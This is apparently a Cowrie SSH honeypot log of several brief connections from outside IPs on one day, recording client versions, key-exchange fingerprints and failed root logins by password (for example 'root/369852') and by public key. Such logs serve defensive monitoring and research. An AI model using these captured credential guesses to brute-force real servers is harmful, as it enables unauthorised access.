{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:30.217687Z","src_ip":"79.127.181.44","session":"d93b2465275f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:30.406730Z","src_ip":"79.127.181.44","session":"d93b2465275f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:30.413221Z","src_ip":"79.127.181.44","session":"d93b2465275f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b981c13b936","protocol":"ssh","message":"New connection: 37.233.85.71:32768 (10.17.0.5:22) [session: 9b981c13b936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:54.070820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:54.075440Z","src_ip":"37.233.85.71","session":"9b981c13b936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:54.184658Z","src_ip":"37.233.85.71","session":"9b981c13b936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986","message":"login attempt [root/1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:54.514341Z","src_ip":"37.233.85.71","session":"9b981c13b936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:55.626668Z","src_ip":"37.233.85.71","session":"9b981c13b936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48654,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e34f1fef40","protocol":"ssh","message":"New connection: 80.94.92.184:48654 (10.17.0.5:22) [session: 60e34f1fef40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:03.285642Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:03.402932Z","src_ip":"80.94.92.184","session":"60e34f1fef40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.231","src_port":50672,"dst_ip":"10.17.0.5","dst_port":22,"session":"dce520dc533f","protocol":"ssh","message":"New connection: 65.60.61.231:50672 (10.17.0.5:22) [session: dce520dc533f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.564881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.573024Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.601138Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:94:1e:d5:ee:df:6b:75:a9:27:57:d4:2f:15:8c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhqRAKve5V/uR8LPluIgVDiInfbXsELYK3bU12bzps/XvfboyZ2TP6vGnKTcbu9Ll8GlxCgxkGu/KiIKxHalIugtsAXuOCV6xyjVqWMNWMTneG9CwO+TOg2sH/5DF/Skb5ch09vHjLGrJ+kKVtr+G2/BiknLiRhIYPrSehQYjDCgxNMf/Pwp2QvHanUZENyfxx2yTr2ormrxlqV4J1X6OflF0YgbPwk1zE+HmgZ19tenDmAm0uujlGaiu4efaanFUWhfnu2S0a3ZuczLiMpuYKMsy6piZhe8EEHEFVK5ao0AqX+jkdARdrwWkqLO6JdKXF6xdLIj1QKrtC9FOVChOR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:94:1e:d5:ee:df:6b:75:a9:27:57:d4:2f:15:8c:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.719403Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:94:1e:d5:ee:df:6b:75:a9:27:57:d4:2f:15:8c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhqRAKve5V/uR8LPluIgVDiInfbXsELYK3bU12bzps/XvfboyZ2TP6vGnKTcbu9Ll8GlxCgxkGu/KiIKxHalIugtsAXuOCV6xyjVqWMNWMTneG9CwO+TOg2sH/5DF/Skb5ch09vHjLGrJ+kKVtr+G2/BiknLiRhIYPrSehQYjDCgxNMf/Pwp2QvHanUZENyfxx2yTr2ormrxlqV4J1X6OflF0YgbPwk1zE+HmgZ19tenDmAm0uujlGaiu4efaanFUWhfnu2S0a3ZuczLiMpuYKMsy6piZhe8EEHEFVK5ao0AqX+jkdARdrwWkqLO6JdKXF6xdLIj1QKrtC9FOVChOR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.723785Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:a4:ba:19:12:b7:64:24:d5:2d:58:ad:d9:59:8d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0dGeZFY3xUqlE9vrfPJqtdB6CguocSNlyVGnro/6lwLAI4b4EaERrjZKurv6v2sDSqeQRbypscHvYiXkxtQhHOEZXloP2Lme9mB3nYy5de1WCaUNcMgC5dxOHgyWw+6bcOQoTasq9kVQzXxhqICd76T1xFbO0JxNWel4nvbc3rquQrp8OSbbEr9kOZpgjX+Oei5p6Gf2ZSUT1SL0g7QkW8FFw3/rWmqCQd755Cf6CnQvPSv5m/muPPijyzOzP+tMOgvPzctfNrQut9DcsAFInY1VNj/Id/HoSAMyx263PAr6WOG7KAO9ViYW3U2XxnFyoasZpEwQALsa/szrxjgkXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:a4:ba:19:12:b7:64:24:d5:2d:58:ad:d9:59:8d:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.753107Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:a4:ba:19:12:b7:64:24:d5:2d:58:ad:d9:59:8d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0dGeZFY3xUqlE9vrfPJqtdB6CguocSNlyVGnro/6lwLAI4b4EaERrjZKurv6v2sDSqeQRbypscHvYiXkxtQhHOEZXloP2Lme9mB3nYy5de1WCaUNcMgC5dxOHgyWw+6bcOQoTasq9kVQzXxhqICd76T1xFbO0JxNWel4nvbc3rquQrp8OSbbEr9kOZpgjX+Oei5p6Gf2ZSUT1SL0g7QkW8FFw3/rWmqCQd755Cf6CnQvPSv5m/muPPijyzOzP+tMOgvPzctfNrQut9DcsAFInY1VNj/Id/HoSAMyx263PAr6WOG7KAO9ViYW3U2XxnFyoasZpEwQALsa/szrxjgkXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.756422Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:8b:82:41:03:fa:01:04:f4:96:50:d3:b8:e1:0c:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17d+MXadQ7Cf3H+jtRwNY8Srzv7fruhuqaxwfOtdBnlT0EdFAR8WnJNi+/J3HktkAgLqN93uS9WPtr2W+lEBqkbFXQj9DyCzhzpLLof5QRZzxTu8zXBlUCyeQXDcY2BBak6yfzilx34MEBiR0GkImmLvaWYgHIYVLNJcUtE5ZwZsAgs4xawamchDh8JHzfM5xHDetgbMziv6O9slRqqliqUBJUhLAbx5h7pIbezSTldq5TXY1/xT11DhT0vAd3144AFTE1C8KoEoChpt0HVRFIJG9j4Die015Lg+PvJ21GxbwxsEObFpnySJI0h6n+HQtjLlD18eGTuvPLdmcchcH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:8b:82:41:03:fa:01:04:f4:96:50:d3:b8:e1:0c:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.784291Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:8b:82:41:03:fa:01:04:f4:96:50:d3:b8:e1:0c:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17d+MXadQ7Cf3H+jtRwNY8Srzv7fruhuqaxwfOtdBnlT0EdFAR8WnJNi+/J3HktkAgLqN93uS9WPtr2W+lEBqkbFXQj9DyCzhzpLLof5QRZzxTu8zXBlUCyeQXDcY2BBak6yfzilx34MEBiR0GkImmLvaWYgHIYVLNJcUtE5ZwZsAgs4xawamchDh8JHzfM5xHDetgbMziv6O9slRqqliqUBJUhLAbx5h7pIbezSTldq5TXY1/xT11DhT0vAd3144AFTE1C8KoEoChpt0HVRFIJG9j4Die015Lg+PvJ21GxbwxsEObFpnySJI0h6n+HQtjLlD18eGTuvPLdmcchcH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.790286Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:cd:1a:f6:b5:a6:d8:cf:2c:46:90:b6:a3:dc:76:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3UiQOnz5ULGIJi+MkUED2UsyGZE9FbBOCpKm7bnl9I9rdH5xI7aYSezn0p3fZW6xQ20rHnzl+9nj7+upab2QORjnzuDke0yVPG9nvIPvW2rDMkzZoiP1EZuYceHKfXJw3nw7lpmNuHTTStBIf80EcljLELAoIgV6LEHtE6iT8M2MF3HmwMUMHdpNFqmwwrzbm+kLJq65JJW3DUiREn2dQYtCaukODwqmqOqC9YFMh6OV8EoxIYof7wZBpwPHvnZnqqx/0qtdyoD+R2t+cXb/NWgYIwTGx3iOROHuOD7HX/63CVLXSw6Clu1oFZj0b9oiAPrXVfUUi+XGpGu1N1EbN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:cd:1a:f6:b5:a6:d8:cf:2c:46:90:b6:a3:dc:76:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.819622Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:cd:1a:f6:b5:a6:d8:cf:2c:46:90:b6:a3:dc:76:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3UiQOnz5ULGIJi+MkUED2UsyGZE9FbBOCpKm7bnl9I9rdH5xI7aYSezn0p3fZW6xQ20rHnzl+9nj7+upab2QORjnzuDke0yVPG9nvIPvW2rDMkzZoiP1EZuYceHKfXJw3nw7lpmNuHTTStBIf80EcljLELAoIgV6LEHtE6iT8M2MF3HmwMUMHdpNFqmwwrzbm+kLJq65JJW3DUiREn2dQYtCaukODwqmqOqC9YFMh6OV8EoxIYof7wZBpwPHvnZnqqx/0qtdyoD+R2t+cXb/NWgYIwTGx3iOROHuOD7HX/63CVLXSw6Clu1oFZj0b9oiAPrXVfUUi+XGpGu1N1EbN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.823881Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:21:e8:dc:f8:37:ab:f8:95:84:c2:fd:53:a9:3d:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX+DZO3tpdauOa9sMPA5fAqNTQ0TaZA3EGExbEXQRcO//v8XLh8CxtoePUVjD+alBaiaCs5qm2ulE6fqRPfFyAkBUFiRckpxBasxVOcDZF6QeSuTLrTYKsvWdyUTXRxHAqm7haSZvp3mXN+18f24YesUtOUV118R1AEhlhfUJwXwW/kd82PPHs6dTXY2bZ2OzwlS2iEsMWIC0BQxkTbJr9glZcnyYv2SuSHlqo7UUqm8iB4g4hBiSYZEKWPtS+J2B6onOvoY4GDwIyTwVliV5qB7EDf+Z4pZls4Y2s2RiKjX0hkVCkPc7DTOVtu2EmpUPXISGB/16OJqk4Bhfj/t9IerFQpbmXh887PT96zgKBPy/Lm173oFen5jpRjfRjG00J32EFDWxzDteH8f3GTncQacmr+nt0IBorYvoTLLyTsbE8qAriSU3C4HfGiV05+35GTVN++PXhSUNFew0hWc4QmoQ2vd5IVJcH4SzYyzzLJdzmirTbtSmf8jZmmGRnCWy0/zQd95mxSgubtKF1tkrLfcSpTtYsyqmtYHLC3jxP/NhsxIbHfUCeKv+koyNcUOCis0Fu2dz61zYB2abXJdcUSOcsTZVDzQDShvTmETKxgl7ISVXtX8CpoSzyOh+FfLXSMwK8gDP/jkKdC0Pz+ZFy9DBjeLY7DjyLk27QXp0uaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:21:e8:dc:f8:37:ab:f8:95:84:c2:fd:53:a9:3d:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.856389Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:21:e8:dc:f8:37:ab:f8:95:84:c2:fd:53:a9:3d:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX+DZO3tpdauOa9sMPA5fAqNTQ0TaZA3EGExbEXQRcO//v8XLh8CxtoePUVjD+alBaiaCs5qm2ulE6fqRPfFyAkBUFiRckpxBasxVOcDZF6QeSuTLrTYKsvWdyUTXRxHAqm7haSZvp3mXN+18f24YesUtOUV118R1AEhlhfUJwXwW/kd82PPHs6dTXY2bZ2OzwlS2iEsMWIC0BQxkTbJr9glZcnyYv2SuSHlqo7UUqm8iB4g4hBiSYZEKWPtS+J2B6onOvoY4GDwIyTwVliV5qB7EDf+Z4pZls4Y2s2RiKjX0hkVCkPc7DTOVtu2EmpUPXISGB/16OJqk4Bhfj/t9IerFQpbmXh887PT96zgKBPy/Lm173oFen5jpRjfRjG00J32EFDWxzDteH8f3GTncQacmr+nt0IBorYvoTLLyTsbE8qAriSU3C4HfGiV05+35GTVN++PXhSUNFew0hWc4QmoQ2vd5IVJcH4SzYyzzLJdzmirTbtSmf8jZmmGRnCWy0/zQd95mxSgubtKF1tkrLfcSpTtYsyqmtYHLC3jxP/NhsxIbHfUCeKv+koyNcUOCis0Fu2dz61zYB2abXJdcUSOcsTZVDzQDShvTmETKxgl7ISVXtX8CpoSzyOh+FfLXSMwK8gDP/jkKdC0Pz+ZFy9DBjeLY7DjyLk27QXp0uaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.860736Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:09.891577Z","src_ip":"65.60.61.231","session":"dce520dc533f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1320bfb1ddb","protocol":"ssh","message":"New connection: 103.27.238.120:52588 (10.17.0.5:22) [session: e1320bfb1ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:12.440843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:12.446024Z","src_ip":"103.27.238.120","session":"e1320bfb1ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:12.705515Z","src_ip":"103.27.238.120","session":"e1320bfb1ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12211221","message":"login attempt [root/12211221] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:13.481674Z","src_ip":"103.27.238.120","session":"e1320bfb1ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:14.744807Z","src_ip":"103.27.238.120","session":"e1320bfb1ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37410,"dst_ip":"10.17.0.5","dst_port":22,"session":"0613887c8e0f","protocol":"ssh","message":"New connection: 103.176.20.57:37410 (10.17.0.5:22) [session: 0613887c8e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:17.649664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:17.654508Z","src_ip":"103.176.20.57","session":"0613887c8e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:17.908190Z","src_ip":"103.176.20.57","session":"0613887c8e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369852","message":"login attempt [root/369852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:18.663388Z","src_ip":"103.176.20.57","session":"0613887c8e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:19.914457Z","src_ip":"103.176.20.57","session":"0613887c8e0f","protocol":"ssh"}
